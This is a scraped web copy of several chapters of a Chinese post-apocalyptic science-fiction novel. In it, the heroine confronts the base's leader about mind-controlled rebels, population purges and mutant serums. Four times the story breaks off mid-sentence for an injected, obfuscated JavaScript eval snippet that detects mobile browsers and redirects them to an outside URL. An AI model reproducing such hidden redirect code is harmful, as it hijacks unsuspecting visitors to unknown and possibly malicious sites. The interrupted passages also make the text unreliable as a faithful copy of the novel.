但提及单无绮的往事时,萨摩总是不吝言辞。 “那个时候,我以为你会哭出来。你在乎他们,我一直知道。”萨摩的睫毛抖动了一下,“但你没有。你的表情恍惚又失神,虽然看着眼前撒麦穗的人,却又像是透过他们,看着另一群人。” “你的口吻好像我是个万人迷。”单无绮调侃道。 “恨你的人和爱你的人一样多。”萨摩从回忆中清醒,“你教过我:不论对错,只谈动机。” 单无绮敏锐地抓住了话柄:“那些恨我的人,你觉得和今天的事有关系吗?” “我无权回答。”萨摩答。 回归理性讨论时,萨摩的口风又该死地紧了起来。 单无绮用尽浑身解数,却再也没能撬出一句有用的话。 除了一段回忆和一杯热水,单无绮什么也没收获。 单无绮放弃和萨摩继续拉扯。 她捧着变得温凉的水杯,双眼看向紧闭的城门。 这次集体异变只是一个开始。 赫勒瓦尔死时,单无绮就有一个预感。 赫勒瓦尔的身份太敏感了,曾经的核心党员竟然异变而死,如此晚节不保的难堪死法,更像是有人在极力掩盖什么。 而且…… 单无绮自己就是个盖棺定论的异种。 单无绮仰起头,看向上方半透明的防护罩。 谜团一个接着一个,像滚雪球一样越滚越大。 单无绮觉得,自己有必要和首长展开一场谈话了。 两个小时后,蓝心准时带来了血液检测报告。 单无绮的报告显示,她是个纯粹的异种。 尤娜也戴着拘束器,她的情况比单无绮稍微好一点,但所有数据都标着上升箭头。 “我这是升级了吗?”尤娜问。 “是的,你很快就要不做人了。”蓝心答。 但让单无绮始料不及的是,剩下的检测报告里,最健康的那份竟然来自艾森。 艾森不敢置信地瞪大了双眼。 他拈着那张纸:“上帝!这不科学!” “这里没有上帝,而且这很科学。”蓝心冷静地提醒,“进监狱前,记得把身上的泥搓干净。” “监狱?” “明眼人都看得出来,你是个逃民。” “噢!”艾森崩溃地捂住脸,“我这辈子完啦!” “好好改造,重新做人。”蓝心的语气依然冷冷的,但说出的话又像在安慰人,“我的导师曾经也是一个逃民,共荣部只招天才,你如果够聪明,也许我们还能再见。” “噢!”艾森又叫了一声。 但艾森的表情告诉单无绮,他并非在为“聪明人能加入共荣部”这句话而高兴。 城门缓缓升起。 通过血液检查后,单无绮几人终于回到墙内。 每一次回城,出城文书都要盖章返还。 看守城门的勤劳部党员翻箱倒柜地寻找印章。 他似乎大哭过一场,两个眼睛肿得像桃子。 当他翻遍所有地方都没找到印章时,他一下子泄了气,失力地跌坐在椅子上,脸上浮现出悲伤的表情。 “罗萨!”他蕴着眼泪咒骂,“你到底把印章放在哪儿了?” “罗萨?”尤娜问。 “你们出城时,文书就是罗萨检查的。”勤劳部党员用力吸了吸鼻子。 单无绮记得罗萨的声音。 尽管只是送别的礼节,但他的那句“为了人类的黎明”,还回荡在单无绮耳边。 “你要不去问问他?”单无绮善意地建议。 勤劳部党员一瞬间被抽走了所有力气。 “他死了,在那个广场上。”他的声音有种机械的麻木,“他和我换了班,说要去外面走走,我以为他被哪个姑娘勾走了魂,结果他……变成了一只异种。” 夜色已浓。 值岗室唯一的灯泡下,勤劳部党员的脸苍白而疲惫。 单无绮沉默。 “抱歉。”良久,单无绮轻声说。 “……啊,找到了。”勤劳部党员弯下腰,从桌腿下拔出印章,“该死的罗萨,竟然把珍贵的印章拿来垫桌子,我一定……” 勤劳部党员的话戛然而止。 单无绮以为他在难过:“同志,你节哀……” “这里……藏了一封信。”勤劳部党员抽出一个对折的信封,它同样垫在桌腿下。 他颤抖着捋平信纸。 几秒后,他脸上的悲哀一瞬间被严肃替代。 “请问,哪位是单副官?”他问。 单无绮嗅到了风雨欲来的气息。 她向前迈了一步:“是我。” “……啊,我竟然没有认出您。”勤劳部党员深吸一口气,又将那张信纸递给单无绮,“信里的内容我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14468339|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好概括,但罗萨在开头说,这对您很重要。” 单无绮接过信纸。 她垂眸阅读。 这封信的字迹非常凌乱,堪比波利·萨恩奇的笔记。 信的篇幅不长。 用一分钟读完后,单无绮将信件小心对折,珍而重之地放进左心口袋里。 “抱歉,我需要把这封信带给首长。”单无绮严肃地说,“我能看出,你和罗萨是彼此的挚友,但他的遗物是非常重要的物证,所以……” “没事没事。”勤劳部党员连连摆手,“他的东西,您拿着就行了。” 说完,他又鼓起勇气追问:“您怎么知道我和罗萨是朋友?” 单无绮闻言笑了笑。 在勤劳部党员逐渐紧张的目光中,单无绮从左心口袋取出那封信,又小心展开,将最后一段话撕了下来。 勤劳部党员张大嘴。 “您……” “罗萨是一位值得尊敬的同志。”单无绮低声道。 单无绮没有过多解释。 她将撕下的窄纸条递给勤劳部党员:“这是他对你说的话——我认为,这段话应该留给你。” 萨摩适时出现在她身后。 “你要见首长吗?”他问。 单无绮点头。 她的内心被复杂的情绪填满,她说不清那些情绪具体是什么。 “跟我来。”萨摩道,“他就在外城。” 萨摩步履极快,单无绮跟着离开。 尤娜看着二人的背影。 少女喃喃道:“……一定要平安回来啊。” 勤劳部党员攥着那张纸条。 他不敢低头,更不敢去看。 但内心的好奇战胜了胆怯。 他将纸条捋平,投下视线。 这是整封信的最后一段话,字迹潦草得宛如狗啃,连小孩子的涂鸦都比它清晰。 但他太熟悉罗萨的字迹了。 仅仅一秒后,他就读完了这段话。 “……狗屎罗萨。”勤劳部党员的指尖用力颤抖。 他的指甲掐进肉里,但那张纸条被他保护得很好,没有留下一丝用力的痕迹。 纸条上只有两句话。 【……最后的最后,如果发现这封信时,我已经死去,请告诉纳什·希尔德克劳特,他是我此生唯一的挚友。还有,他欠我的酒钱也一笔勾销。】 名为“纳什”的勤劳部党员痛苦地躬下腰。 世界上最小的一场雨,从纳什的双眼里落下:“今后……老子找谁喝酒啊?” * 单无绮跟随萨摩来到一个小屋子。 萨摩推开门,里面烟雾缭绕。 首长正在抽烟。 见萨摩来了,他掐掉烟,将抽了一半的烟,小心地斜放在烟灰缸边缘。 “你来了。”首长的两撇胡子依然俊俏,“坐吧。” 单无绮进屋,在首长对面坐下。 萨摩守在门外,轻轻关上门。 首长重新点燃烟。 “你在避着萨摩?”单无绮有点失语。 “这毕竟是恶习。”首长答。 “你倒不避着我。” “从前我也避着,但那件事后,我只需避着萨摩。” 单无绮盯着首长:“哪件事?” “你是主动申请流放的。”首长道,“因为这件事,你和梅大吵了一架,被梅赶出家门后,你跑来我这里,抽了一地的烟。” 19. 人类筛选计划 单无绮听后笑了一声。 “我们从前的关系那么好?”她看着桌上的烟灰缸。 首长没有回答。 单无绮的喉咙突然有点痒。 她伸手。 首长从胸口袋摸出烟盒。 单无绮抽出一根。 呲。 火柴划亮。 首长给单无绮点烟。 温暖的火光反射在单无绮低垂的黑睫毛上。 单无绮虽然什么也不记得了,但她的身体熟悉这套互动,在她被流放前,这个两撇胡子的男人也许经常给她点烟。 她突然想起阎银华给她展示的那张大合照。 照片上的首长十分年轻,看起来不超过二十岁,那时他还没有蓄起胡须,脸庞还带着一点生涩,但依然可见深邃冷厉的气质。 她深吸一口烟,吐出白雾,从左心口袋里掏出那封信。 她递给首长:“你看看。” 首长接过信,垂眸阅读。 单无绮回忆信件的内容。 罗萨的信,内容并不复杂。 信中,罗萨描述了自己的异况。 一年前,罗萨发现自己的记忆不再连贯。 消失的记忆里,罗萨无从得知,自己到底做了什么。 一开始,消失的记忆只有不到一分钟,但渐渐地,罗萨开始频繁地、长时间地失忆。他尝试寻找原因,但每一次都失败了,而且事后,他的大脑会格外晕眩。 他将此事告诉了他的母亲。 又一次清醒后,他穿着黑丧服,站在母亲的棺材前。 他不再分享此事,转而自行记录,但他写下的日记被撕毁,小刀在身体上划下的伤痕也尽数复原。 直到某一次,他在一个秘密场所中醒来。 这是个意外,他本不该在中途清醒。 场所很大很空,仿佛在地下。 他的身边有许多眼神呆愣的人。 他们安静地坐在观众席里,而密室唯一的舞台上,一个鲜血淋漓的人正被处以极刑。 “亲爱的工蜂。”施刑的刽子手裹在麻袍里,看不清面貌和形体,“我们抓住了一只蝉。” 而后,很长一段时间里,室内唯有那只“蝉”凄厉的惨叫。 鲜血从舞台淌下,浸湿了罗萨的鞋底。 罗萨把这一幕牢牢地记在脑中。 他没有尝试记录,或者告之他人。 他意识到自己被某个存在操控了,那些被销毁的日记本,也许正是他亲手毁去的,他的母亲,可能也是被他亲手杀死的。 他隐忍地蛰伏,以“工蜂”的身份继续生活。 秘密集会的频率并不高,很多时候,“蜂王”只会让他做一些手边的小事,比如眨两下眼睛,比如把水打翻并擦干,而蜂王的目的,似乎是测试工蜂是否失控。 罗萨不知道自己是否完全脱离了操控。 他不敢和任何人分享这件事,连做梦都闭紧了嘴巴。 直到昨天,当他再次在中途清醒,他正在前往外城的大广场。 他意识到,这是最后一次了。 他强行返回值岗室,用不受控制的右手写下了这封信。 他同时感到庆幸,他的同僚和挚友,纳什·希尔德克劳特脱岗了,值岗室里空无一人。 “这封信并不完整。”首长读完了信。 首长低声道:“你撕掉了一部分。” “他的最后一段话,写给他的同僚兼挚友。”单无绮将手中的烟按灭,发出“呲”的细响,“你觉得我自作主张?” “不,”首长答,“你做得很好。” 不算明亮的屋内,二人头顶的白炽灯泡发出细碎的“滋滋”声,它回光返照般闪烁了几下,随后安静地熄灭了。 “九点了。”首长在黑暗中说,“基地的晚间供电结束了。” 单无绮看着首长的脸。 她还没有完全适应黑暗,但停止供电后,屋内并非伸手不见五指。 明亮的月光从玻璃窗撒入,首长的脸庞犹如分割的阴阳。 当单无绮从首长的眼中看到自己的倒影时,她同时意识到,首长也在凝视着她。 “你离开基地后,我便来到了外城。”首长道。 “你在等我?” “我们的第一次交谈并不愉快,这不利于我们今后的合作。”首长笑了笑,“就当是我的一点诚意吧。” 单无绮的鼻间一瞬间充斥着陈血的味道。 那是禁闭室的味道。 “拘束器戴得还习惯吗?”首长问。 单无绮沉默。 她扯了扯那道冰冷的黑环:“还行。” “我没有想到,你的实力已经强大到能震碎拘束器。”首长扔下惊天大雷,“我更没有想到,在对基地的感受如此不愉快的情况下,你还愿意重新戴上拘束器。” 单无绮的瞳孔收缩了一下。 “你怎么知道的?”她低声问。 “拘束器是旧人类的遗产,每一个拘束器的数据,都由基地核心‘伊甸’实时监控。”首长没有隐瞒。 “伊甸?”单无绮笑了一声,“你的意思是,基地算是人类的伊甸?” 单无绮的笑声有点嘲弄。 但首长没有愤怒。 他问:“你觉得,基地怎么样?” “烂透了。”单无绮毫不掩饰。 首长两指持烟。 他平静地看着单无绮:“你只回来了六天。” “六天已经足够了。”单无绮道,“基地里的人类已是仅存的火种,但你在主动制造阶级,基地里,本来不该有这么多挨饿的人。” “特殊时期特殊手段。”首长没有否认,“我只是在六等公民的基础上,做了一点延伸罢了。” “六等公民,六等用法。”单无绮笑了一声,“鸡下蛋,狗看家,牛耕地,驴拉磨,每只家畜都有自己的作用。” “不错的比喻。” “但人不是家畜,有压迫的地方,就会有反抗。”单无绮道,“我相信,罗萨不是第一个牺牲的党员,赫勒瓦尔也不是第一个受害者。” 单无绮摁灭烟头:“你抹杀了人的无数种可能性,你用未来抵偿当下,好比饿鬼杀掉下金蛋的鸡。” “很妙的观点。”首长点烟,“但你忽略了一件事。” “什么?” “不是所有人都有未来。” “……”单无绮陷入短暂的沉默。 “回来后,你应该听到了许多风言风语。”首长道,“你大概已经意识到,你被流放的原因并不简单。” “你刚才说,我是主动申请流放的。”单无绮道。 “是的。”首长点头,“而且,我一直坚信你会回来。” 单无绮垂眸。 她深吸一口气,拿起被按灭的、抽了一半的烟,没有点燃,干巴巴地叼在嘴里。 “在你被流放前,我们一同做过许多尝试,或是开源,或是节流。”见单无绮不说话,首长主动开口,“但现实十分残酷,基地只有这么大,人只能养活这么多。” 月亮隐匿在云层后。 二人坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475673|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在黑暗中。 他们看不清彼此的表情,中间弥漫着流动的白烟。 “早在一百多年前,第二十三任首长已经预料到今天的局面,他推出计划生育等一系列政策,试图控制日益膨胀的人口。” 首长深深地吸了一口烟,“他的举措是有效的。如果没有他,基地会提前七十年突破人口极限,而那个时候的人类,甚至还没有发明电。” “离开城墙时,你对我说,你一定会回来,带着希望和黎明。”首长抖了抖烟灰,“但很不幸,你回来了,却失忆了。” 单无绮想起了阎银华的话。 “无绮,你的流放是首长的一次豪赌。”那时的阎银华道,“但如今,他开启了第二次豪赌。” 第一次豪赌,原来是指这个吗? 首长将人类的希望寄托在单无绮身上,但单无绮并没有带回好结果。 她一无所有地回来了,犹如一个空手而归的猎人。 但阎银华又说,首长开启了第二次豪赌。 他在赌什么? 单无绮深深地凝视首长的脸。 她突然意识到,首长阅读罗萨的信时,没有流露出一丝惊讶,好像外城的那股神秘势力,已经在他的预料之中。 ——难道,他早就意识到,基地的高压政策会引起反抗吗? “你似乎有一些自己的思考。”首长点燃第二根烟。 单无绮没有否认。 她安静地等待首长接下来的话。 “尽管基地延缓了人口膨胀的速度,但在我上任后,这枚炸弹在我手里爆炸了。”首长道,“你的流放是一场豪赌,我相信你会回来,但时间不等人,你被流放的第一年,我启动了第一次人类筛选计划。” “罪犯直接流放,良民好中取优,优秀者进内城,平庸者进外城。”首长的话冰冷而残忍,“这个过程持续了一年左右,一年后,基地完成了第一次筛选。” 单无绮的呼吸停滞了。 ——第一次。 ——这个前缀,意味着还有第二次,乃至第三次,第四次。 “第二次人类筛选计划,在你离开的第二个春天启动了。”首长继续道,“一开始,我以为流放所有罪犯,已经足够严苛,但基地能够养活的人始终有限,在现实面前,我必须做出取舍。” “第二次筛选持续了三个月。” “你还记得四年前吗?被流放前,你带领外城人拓荒了一整年。第二次筛选中,他们守着刚开垦出来的荒地,连种子都刨出来吃掉了,但还是有三成的外城人饿死了。” “第三次筛选,启动于一个秋夜,距离第二次筛选,仅仅隔了一个夏天。” 首长看着单无绮。 后者佝着背,脸庞深深埋进掌心。 浓烈的痛苦萦绕着单无绮。 单无绮第一次感到,这个残忍的世界,竟让她如此不堪重负。 “……第三次筛选是被迫启动的,在此之前,我从未想过启动它。” 首长的声音轻柔了许多。 他已经挺过了最煎熬的时段,但他对单无绮的痛苦感同身受。 “新历324年,10月25日,基地爆发了第一场暴乱。” “无数外城公民汇聚在大广场上,一声号令后,他们齐齐变成了异种。这场暴乱在一天内被火速镇压,但是借着这起事件,我完成了第三次筛选,基地人口恢复到正常水平。” “因此,当我看到罗萨的信时,我并不惊讶。”首长叹息道,“组织那场暴乱的地下势力,正是罗萨信中所写的‘蜂’。” 20. 第三条路 单无绮弓着背,脸埋在掌心里。 她没有精力思考首长撒谎的可能性。 她只觉得,这个世界真他妈的操蛋。 大灾变后,旧人类的辉煌文明被无情摧毁,残存的新人类在废土上画地为牢,用整个种族的自由,才换来了百年喘息。 但命运留给人类的时间已经不多了。 单无绮深吸一口气。 她抬起脸,发现掌心湿漉漉的。 也许是泪水,也许是汗水,她分不清。 “你打算开启第四次人类筛选计划吗?”单无绮问道。 首长摇头。 他轻弹烟灰:“你可以猜一猜为什么。” 单无绮盯着首长。 月光在这一刻格外朦胧。 首长的下半张脸被黑胡子和高衣领遮盖,上脸眼窝深邃,只能隐约看清一双黑色的眼睛。 从首长的态度中,单无绮感受到了师长一般的包容。 单无绮的心中有无数个谜团,现在,正是解开其中一部分的好机会。 她第二次向首长伸手。 首长愣了一下,随即发出一声极低的笑声。 他打开烟盒,从仅剩的几根烟中,抽出一根给单无绮。 单无绮叼在嘴里,没点火。 “摆在人类面前的有两条路。”单无绮轻咬烟嘴,苦涩的烟草味在口腔中弥漫开,“对外开拓,以及对内发展。” 首长沉静地凝视着单无绮。 “关于对外开拓——墙外的污染并不致命,我们开展壁外调查时,只要不深入污染区,即使踏入污染区边缘,短时间内也不会出现问题。” 单无绮轻声道,“比起污染,神出鬼没的异种更加致命,冷兵器无法对它们造成伤害,唯有旧人类留下的枪械才能击退它们。” 她凝视首长的眼睛:“而关于对内发展——在人类建起围墙的那一刻起,这条路已经能看到尽头了。发展的前提是拥有足够的资源,但基地……连喂饱所有人都是奢望。” “我相信,你一定早就意识到这一点了。”单无绮总结道,“这是个死循环,基地应对异种和污染的手段,几乎都依赖旧人类的遗产,因此我们无法大胆地对外开拓,而无法开拓的后果,就是资源严重匮乏,文明迟迟无法进入下一阶段,于是基地只能继续坐吃山空。” 首长道:“不错。” “在两条路都是死路的前提下,人类必然思考第三条路。”单无绮身体前倾。 她两手撑在桌面上,牢牢地盯着首长:“赫勒瓦尔·施耐德,你听过这个名字吗?” 首长抬起微垂的眼睑。 他漆黑沉静的双眸里多了一点欣赏:“当然。我亲手将他从核心党员的名单里剔除,除他之外,还有几个核心党员也前往了外城。” “他死得惨烈。”单无绮道,“他变成了一个异种。” “……我知道。” “所以,墙内的异种从哪里来?”单无绮追问。 单无绮的眼神凶狠有力。 她一眨不眨地盯着首长模糊在黑暗中的脸,捕捉后者每一个细微的表情:“我早就想这么问了!基地的防护罩不可能是个摆设,那道脆弱的城墙在异种眼里根本不是威慑!但我——是被你亲口认证的异种!” 单无绮发出会面以来的第一道质问:“他交给我一份研究,委托我带给你,关键词是特型血清——这份研究,是不是和异种有关?” 首长的表情纹丝不动。 单无绮发出第二道质问:“我为什么主动申请流放?离开城墙前,我是不是已经变成了一个异种?” 滴—— 单无绮颈上的拘束器发出微弱的响声。 它一瞬间变得滚烫了。 但单无绮明明没有异化! 单无绮的指尖轻轻触碰拘束器。 而后,她恍然意识到什么,保持着前倾上半身的姿势,用无比震惊的表情看向面前的首长。 二人的距离极近,只在咫尺之间。 首长欣慰地看着单无绮。 他眼角微弯,眼尾的鱼尾纹十分深邃:“你猜对了。” 单无绮的呼吸在一瞬间停滞了。 首长的赞许在这一刻已经不再重要。 人类种族的宏观话题,落在每一个个体身上,都是一粒沉重的沙。 单无绮盯着首长的脖颈。 她和首长只见过两次,但每一次,后者都穿着高领长袖,将脸部之外的所有皮肤都藏在衣下。 颈上的拘束器仍在发烫。 单无绮咽了下唾沫,伸出试探的手,指尖触碰首长高得能遮住下脸的衣领。 首长没有躲闪。 他任由单无绮拨开自己的衣领,露出里面麦色的脖颈,和颈上贯穿咽喉的狰狞伤疤。 ——以及,和单无绮颈上一模一样的,黑色的拘束器。 谁能想象呢?谁敢想象呢? 在单无绮的认知里,首长并不伟大,甚至十分卑劣。 人类第一基地是地上的神国,首长是无冕的神明,将子民困在高墙筑起的囚笼中。 六等公民,九条禁令,无重枷锁。 他是万人之上的首长,发言如同金科玉律,在视异种为死敌的基地里,仅凭他一人背书,单无绮就能以异种的身份,在内城和外城随意行走。 上任的数年里,他屡次实行人类筛选计划,优者入内城,劣者入外城,犹如神明高坐云端,向下伸出拣选的双手。 他是金字塔的尖顶,所有养分、利益和权力的最终受益者。 他是餐桌上第一个拿起餐巾的人。 但现在,他用铁一样的事实告诉单无绮,他并非拣选人类的神明。 他也是被拣选者。 单无绮攥着首长的衣领。 她的手微微颤抖:“……多久了?” 首长依然淡淡地笑着:“比你晚一点——在你流放的第二年,我注射了血清。” 单无绮失力地跌坐回去。 座下的长椅发出刺耳的“吱呀”声。 她几乎控制不住力道,把整个人重重砸了上去:“上帝啊。” “基地不允许信教。”首长竟然有心情说笑,“再有下次,我会把你从核心党员名单里踢出来。” “谁管那狗屁的九条禁令!”单无绮的每一根手指都在细碎地颤抖,“你就是个疯子,不,我也是个疯子——我们他妈的全都是疯子!” “小孩子才做选择题,成年人当然是全都要。”首长微笑道,“在那两条绝路之间,人类还有第三条路——那就是变成保留人类意识的异种。” 单无绮平息紊乱的呼吸。 她斥道:“疯子。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14489056|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我曾听阎老说过一句话,那时,我只是一个研究所的小研究员,而他是前途无量的准调查司长。”首长整理凌乱的衣衫,那道拘束器重新藏于衣领下,“他说——四部是一个巨大的精神病院,里面住着各处搜罗来的疯子。” 单无绮说不清内心的情绪到底是什么。 她尖利又感慨地笑了一声:“这句话,我在见到他的第一面就听过了。” 她垂低眼睑:“现在想来,他还真是聪明绝顶。” “我能成为首长,多亏他的扶持。”首长摸了摸烟盒。 几番犹豫后,他点燃了一根烟,尽管烟盒已经空得能摇出响声:“他本来可以成为首长,历任调查司长都是首长的副官,而副官大多成为了新任首长,‘调查员-调查司长-副官-首长’,这是四部默认的晋升路径。” “而你是一个例外。”单无绮道。 “而你,也是一个例外。”首长道,“你的档案在共荣部,你是直接成为我的副官的——感谢梅·亚历克谢同志,他把你教养得很好,你是我见过的最优秀的年轻人。” 二人对视一眼。 隔着中间流动的烟雾,单无绮和首长齐齐笑了一声。 而后,他们的神色同时归于严肃。 “共荣部负责研究异种,我虽然是研究员出身,但无法置喙他们的实验进度。”首长道,“赫勒瓦尔的论文是否对研发血清有帮助,我不知道。在第一支完美的血清问世前,我只能向上帝祈祷。” 单无绮问:“我注射的是哪种血清?” “S-31型。”首长答,“我注射的是W-9型。” “有什么区别吗?” “你注射的血清针对躯体,我注射的血清……则针对精神。” 单无绮的心头颤了颤。 她突然想起了一个嚣张跋扈的小家伙。 “维沙尔也注射了血清吗?”单无绮问。 维沙尔和佩特拉都来自研究所。 佩特拉由他的父亲,波利·萨恩奇进行改造,而维沙尔……他的经历至今是个谜。 “不,他非常特殊。”首长道,“他没有经过任何实验,而且,他现在的情况和你截然相反。” 维沙尔。 维果。 异种。 精神链接。 单无绮的呼吸停滞了一瞬。 “我是‘唯一保留人类意识的异种’。”单无绮的语速变得极慢,说出的每一个字都经过反复斟酌,“如果他和我相反的话,那么他就是——唯一保有异种意识的人类。” 这太残忍了。 如果这是真的,那么维沙尔的地位,会比单无绮更加尴尬。 拥有异种的身躯,但思维还属于人类,只要平时收好触手,就能融入群体。 但如果徒有人类的身躯,脑子里却萦绕着异种的思维…… “维沙尔没有戴上拘束器,只因他实在是太孱弱了,孱弱到无需开枪,只用一条手臂就能制服。” 首长的语气一瞬间十分复杂,“而且,我们至今都不知道,他脑子里的究竟是哪只异种——如果是那一只异种的话,他就活不成了。” 单无绮安静了一瞬。 “哪一只?”她问。 “它在《异种图鉴》的第一页。”首长答,“它被命名为S-0,别名:零。” 21. 首长的考验 那一刻,单无绮开始思考,维果是零的可能性有多大。 诚如首长所言,维沙尔的身躯太过孱弱,几乎不构成任何威胁。 但想起维果奇妙的精神链接,单无绮总觉得,异种的能力没有那么简单。 精神么…… 单无绮询问首长:“你之前说,你注射的血清针对精神,是吗?” “是。” “这对你有什么影响吗?” 首长摇头:“几乎没有。” 但回忆数秒后,首长的脸上出现了犹豫之色。 他仿佛陷进一片朦胧的雾,分不清臆想和现实:“但也许是我的错觉,注射W型血清之后,我的耳边短暂地出现了一个声音。” 单无绮的脑子“嗡”了一下。 她想起第一次和维果建立精神链接时,自己的耳边也出现了一个神秘的声音。 单无绮追问:“什么声音?” “那声音是个女人,温柔而慈悲。”首长使用了极具母性的形容词,“她对我说:盖娅。” ——盖娅。 ——那正是出现在单无绮耳边的声音。 单无绮努力控制住表情。 一切都还没有定论。 如果维果真的是零,那么,自己现在露出的任何异样,都可能引起四部对维沙尔的调查。 她斟酌了一会儿,最终问道:“零……这只异种有什么特别的地方吗?” 单无绮以为自己会听到“因为零很危险”这类简单的答案。 但首长却说:“因为零很特殊。” 单无绮:“?” 单无绮的头上出现了一个问号。 “零是基地活捉的第一只异种,根据研究所的记录,它是主动被人类捕获的。” 首长看出单无绮的疑问,解释道,“那时,基地对异种的研究才刚刚起步,许多规章制度还没有建立,零和研究所的创始人们同进同出,同吃同睡,和如今关在培养罐中的异种们截然不同。” “零没有展现任何攻击性,那段时间,它甚至如同人类一般被研究所对待。”首长沉声道,“但是,在研究所的几位创始人相继去世后,它主动钻进培养罐,将自己封闭起来——数据显示,它的肉身至今都还活着,但它的意识是否还存在,无人知道。” 单无绮隐约明白了首长的意思:“你是指……” “零知道太多秘辛了,包括未被正式记录的,以及刻意掩埋的。”首长答,“如果逃逸的那只异种真的是零,为防被有心者利用,我们只能将它和那些秘辛一起埋葬。” 单无绮安静了。 她低下头,轻轻抚摸颈上的拘束器。 ——如果维果真的是零,他到底想做什么? ——他对人类的态度,究竟是友好的,还是充满敌意的? “零是否失控暂且不提,现在,基地正面临着一个大问题。”首长咳嗽一声,“外城开始失控了。” 话题终于重回正轨。 单无绮看着放在桌上的信。 那是罗萨的绝笔信。 他作为被“蜂”操控的傀儡之一,在外城大广场上变成了异种。 “我对外城的失控并不意外,有压迫的地方,自然会有反抗,但我没有想到,举起反旗的竟然是‘蜂’。”首长道。 单无绮没接话。 一切发生于她被流放的三年里,即使她有从前的记忆,也很难插上嘴,更别提现在的她,只是一个空心的人偶。 从前刻骨铭心的一切,如今只余似曾相识。 “说起来,蜂的诞生,和你脱不了关系。”首长抛出一道惊雷。 单无绮:“……” 单无绮指向自己:“啊?我?” “你和共荣部的几个家伙私交甚好,在你被流放后,他们不约而同地递交了辞呈,我也顺势将他们剔出核心党员的名单,将他们安置在外城,以此躲避清算。”首长的眼神有些遥远。 他明显陷入了一段不妙的回忆。 “一开始,他们和我一样,对你的归来充满信心,但随着时间的推移,四部的质疑声越来越大。” “第一次筛选中,我让他们更换名姓回到内城,但包括赫勒瓦尔在内,他们全都拒绝了。” “那个时候,我就已经明白,他们和我彻底分道扬镳了。” “我们都为人类的未来而奔波,但有志者俱殊途,而且人类筛选计划过于残忍,彼此缺乏沟通的我们,注定存在误解和分歧。” “他们成立了‘蜂’,并重启了一个禁忌的项目。” “那个项目,可以将所有人的思维集成统一,由中枢者进行操控。因为涉及人伦问题,而且操控他人的思想太过危险,所有试图重启这个项目的人,都被基地流放了。” “利用那个项目,他们把地下组织里的成员,变成了被操控的‘蜂’,而他们则是‘蜂’的主脑,自称‘蜂王’。” “但他们注定会失败。” “人脑的运算力是有限的,何况人不是冰冷的机械和数据。” “发动暴乱的那个秋夜,当他们满怀欣喜地操控蜂群,打算一鼓作气攻破内城时,蜂群失控了。” “充当‘主脑’的几人当场暴毙,而那些失去控制的傀儡,真的变成了一只只乱撞的工蜂。” “他们用一把火点燃了外城,半个外城被熊熊火焰吞没。即使这场暴乱在天亮前成功平息,但造成的经济损失,让外城至今都没有喘过气来。” 单无绮越听越冷汗直流。 并非她无法接受这个事实,而是……这个项目听起来太耳熟了! 她竭力控制怦怦乱跳的心脏,开始回忆波利·萨恩奇的那本笔记。 波利·萨恩奇,即佩特拉的父亲,那个主动靠近核心并死去的异种,他似乎就是因为某个罪名被流放的。 ——“集体决策思维”项目。 ——它和“蜂”多么相似啊。 单无绮不死心地问:“那个项目叫什么?” “集体决策思维,又称‘蜂群思维’。”首长答。 单无绮沉默了。 她突然生出命运的马车向悬崖狂奔的荒谬感。 一切仿佛冥冥注定。 波利·萨恩奇被基地流放,而波利未完成的实验,在单无绮被流放后,由单无绮的旧友接过接力棒,并在外城造成了一次毁灭性的冲击。 如今,随着单无绮的回归,这个诅咒一般的实验再次死灰复燃。 单无绮想起等待血液检测报告时,萨摩告诉自己的话。 “他们自称‘筑墙者’的信徒。”那时的萨摩说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493900|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “而他们临死前的口供,齐齐将矛头指向了你。” “……你打算怎么做?”良久,单无绮涩哑地问。 首长没有立刻回答。 他抽完最后一口烟,把剩下的烟嘴怜惜地放进烟灰缸。 他的黑眼睛看着单无绮:“这取决于你。” 单无绮的大脑一瞬间空白了。 她结巴着问:“什么意思?” “自你归来后,你的存在还未向基地完全公开,即使在四部之中,也只有少数人知晓。”首长用最温和的态度说出最残忍的话,“我一直在思考,你应该以一种怎样的姿态重回大众视野——而现在,机会来了。” 